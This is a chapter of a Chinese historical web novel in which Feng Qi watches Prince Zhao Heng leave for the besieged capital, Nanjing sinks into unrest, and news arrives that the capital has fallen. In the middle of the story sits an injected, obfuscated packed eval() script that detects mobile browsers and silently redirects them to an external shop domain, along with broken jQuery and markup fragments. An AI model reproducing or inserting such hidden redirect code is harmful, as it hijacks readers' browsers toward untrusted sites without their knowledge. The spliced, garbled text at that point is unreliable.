赵珩最后还是决定回京。
不是因为他想回去，是因为他没有选择。抗旨是死，去也是死，但去至少死得明白——这是赵珩的原话。冯七听完这句话，沉默了很久。他想说“殿下可以逃走”，但他没有说。因为他知道赵珩不会逃。赵珩是皇子，皇子的血是热的，即使这颗心已经凉了，血还是热的。热血流在血管里，推着人往前走，走到不能再走的那一天。
泰安二年三月二十五，赵珩启程回京。南京城的百姓不知道安王为什么要在这个时候回京，也没有人在乎。他们有自己的日子要过，有自己的烦恼要想，一个王爷的来去，和他们有什么关系？
冯七站在安王府门口，看着赵珩上了马车。马车很朴素，灰色帷幔，木质车轮，和普通官员的马车没什么区别。赵珩掀开车帘，看了他一眼。
“你留下。”赵珩说，“替我看着这座府邸。”
冯七跪下来，磕了一个头。
“殿下保重。”
赵珩没有再说别的。车帘放下，马车驶了出去，车轮碾在青石板路上，发出辘辘的声响。那声音越来越远，越来越小，最后消失在街巷的拐角处。
冯七跪在门口，久久没有起来。周公公走过来，站在他身后，没有说话。过了很久，周公公才开口：“起来吧。跪久了，膝盖疼。”
冯七站起来，膝盖确实疼，疼得他差点站不稳。他扶着门框站了一会儿，等那阵疼过去了，才慢慢地走回了自己的屋子。屋子空荡荡的。赵珩不在了，书房里不会再有翻书声，不会再有棋子落在棋盘上的脆响，不会再有那句“冯七，茶”。一切都安静了下来，安静得像一座坟墓。
冯七坐在床上，把那沓笔记从枕头底下拿出来，一张一张地翻。这些纸是他来到这个时代之后写下的所有东西。有些纸已经泛黄了，边角都脆了；有些纸还新着，墨迹还没干透。每一张都是一个日子，每一个日子都是一条命。他把它们按照时间顺序排好——从崇文十七年秋入宫那天开始，到泰安二年三月二十五赵珩离京那天结束。排完之后，他发现一个事实：他来到这个时代一年半了，一年半的时间，写了四十七张纸。四十七张纸，记录了几十个人的生死。
他把纸重新叠好，用一块布包起来，塞进床板下面的缝隙里。那里最安全，除非把床拆了，否则没有人能找到。
赵珩走后的第三天，南京城开始乱了。
先是粮价暴涨。一石米从三钱银子涨到了八钱，涨了将近三倍。百姓买不起米，开始闹事。一开始只是几个泼皮在米铺门口叫骂，后来人越来越多，叫骂变成了打砸。米铺的掌柜被打伤了好几个，店铺被砸了十几家。接着是难民。从北边逃难来的百姓像潮水一样涌进了南京城，带着大包小包，带着老人孩子，带着满脸的恐惧和茫然。他们挤在城门口，挤在街道上，挤在寺庙和祠堂的屋檐下。有人哭，有人喊，有人跪在地上求施舍。城里的百姓一开始还同情他们，后来同情变成了厌烦，厌烦变成了恐惧——因为他们知道，难民来了，兵就不远了。
安王府里也不太平。赵珩不在，府里的下人们像是没了主心骨，有人开始偷东西，有人开始嚼舌根，有人开始找出路。周公公每天板着脸，拿着竹条在府里巡视，见谁偷懒就打，见谁嚼舌根就骂，但效果不大——他的竹条吓不住那些已经起了异心的人。
冯七不管这些。他每天照常去书房，研墨，铺纸，整理书卷。赵珩不在，书房里没有人用这些东西，但他还是每天准备着。就像赵珩明天就会回来一样，就像一切都没有变一样。
泰安二年四月十二，京城传来消息：赵崇安的大军包围了京城。消息是顾文昭带来的。他比上次见面时憔悴了许多，眼下有浓重的青黑，颧骨也凸出来了，像是很久没有睡好觉。他穿着一件灰扑扑的道袍，头发用一根木簪随意束着，看起来像个落魄的书生，而不是上次那个意气风发的谋士。
“殿下呢？”顾文昭劈头就问。
“殿下去京城了。”冯七说。
顾文昭的脸色瞬间变得煞白。
“什么时候的事？”
“三月二十五。皇上密旨召殿下回京。”
顾文昭跌坐在椅子上，双手撑着膝盖，低着头，大口大口地喘气。过了很久，他才抬起头来，眼睛红红的。
“来晚了。”他说，声音沙哑得像砂纸磨过木头，“我来晚了。”
“顾先生，”冯七问，“京城现在怎么样了？”
顾文昭苦笑了一下，那笑容比哭还难看。
“赵崇安的十万大军围城，城内守军不到两万。皇上还在炼丹，内阁还在吵架。城里的百姓已经开始吃树皮了。城外的赵崇安说，只要打开城门，他保证不杀一人。”他顿了顿，“你猜怎么着？城里已经有人在商量开城门的事了。”
冯七站在那里，不知道该说什么。他想说“殿下不会有事的”，但他说不出口。因为他知道，赵珩不会有事的概率，比南京城的桃花在腊月里开花的概率还低。
“顾先生，”冯七说，“您有没有办法救殿下？”
顾文昭抬起头看着他，目光里有一种说不清的东西，像是怜悯，又像是无奈。
“救殿下？”他摇了摇头，“现在谁也救不了谁。赵崇安的兵围了城，连一只鸟都飞不进去。京城里的人出不来，外面的人进不去。我们只能等。”
“等什么？”
“等结局。”
又是结局。冯七在心里默念了一遍这个词，觉得它比任何时候都更沉重。
顾文昭在安王府住了下来。赵珩不在，冯七自作主张给他安排了一间客房。周公公知道后没有说什么，只是看了冯七一眼，那一眼里有很多东西，但他什么也没说。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680430|207663||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
/p>
顾文昭每天在书房里看地图、写信、见客。来找他的人不多，但每一个都来去匆匆，像一阵风，刮过来就走了。他们走之后，顾文昭的脸色就变得更差一些。冯七不知道他们说了什么，但从顾文昭的脸色来看，一定不是什么好消息。
泰安二年四月十八，京城被围的第六天。那天夜里，冯七被一阵急促的敲门声惊醒。他披上衣服去开门，门口站着顾文昭，手里举着一盏油灯，灯光把他的脸照得忽明忽暗，像一尊会动的蜡像。
“冯七，”顾文昭的声音有些发抖，“京城破了。”
冯七感觉自己的血液在那一刻冻住了。
“你说什么？”
“京城破了。”顾文昭重复了一遍，声音更低，低得像是怕惊动什么，“今天下午，南城门守将开城投降。赵崇安的军队已经进城了。”
冯七站在那里，脑子里嗡嗡地响。他想起了很多事。想起了初入宫时那条长长的甬道，想起了御书房里成千上万卷书册，想起了赵珩教他写字时握着他的手，想起了苏公公死前说的那句“活下去，不是为了自己，是为了记住”。
这些画面像走马灯一样在他眼前转，转得他头晕目眩。
“殿下呢？”他听见自己的声音，涩得像含了一口沙子。
顾文昭摇了摇头。
“不知道。城破了之后，消息就断了。”
冯七回到屋里，在黑暗中坐了很久。他没有点灯，没有哭，没有发抖。他只是坐在床沿上，睁着眼睛，看着黑暗。黑暗很浓，浓得像墨，像血，像化不开的悲伤。
他摸了摸脖子上的玉扳指和铜钱。两样东西贴在一起，温热的，像是在告诉他——他还活着，活着的人要继续往前走。
他想起赵珩临走前给他的那张纸。他从枕头底下摸出那张纸，握在手心里。纸很薄，折痕很深，贴着他的掌心，像一只手在握着他。
他还没有打开。他不知道自己什么时候会打开，但他知道，时候快到了。
窗外，月亮不知道什么时候被云遮住了，屋子里暗了下来。
冯七睁着眼睛，坐在黑暗里，一动不动。他在想，明天太阳还会升起来。不管京城破了没有，不管赵珩活着没有，太阳都会照常升起，照在南京城的城墙上，照在安王府的屋顶上，照在那棵桂花树的叶子上。
太阳不管人间的悲欢离合，它只管升起落下，日复一日，年复一年。
人不一样。人会死，会消失，会被遗忘。
但他不会让赵珩被遗忘。不会让苏公公被遗忘。不会让冯六被遗忘。
他活着，就是为了记住他们。
他把那张纸贴在胸口，闭上眼睛。
明天，他要继续写。把京城破了的消息写下来，把赵珩的生死写下来，把自己还活着这件事写下来。
一字不漏。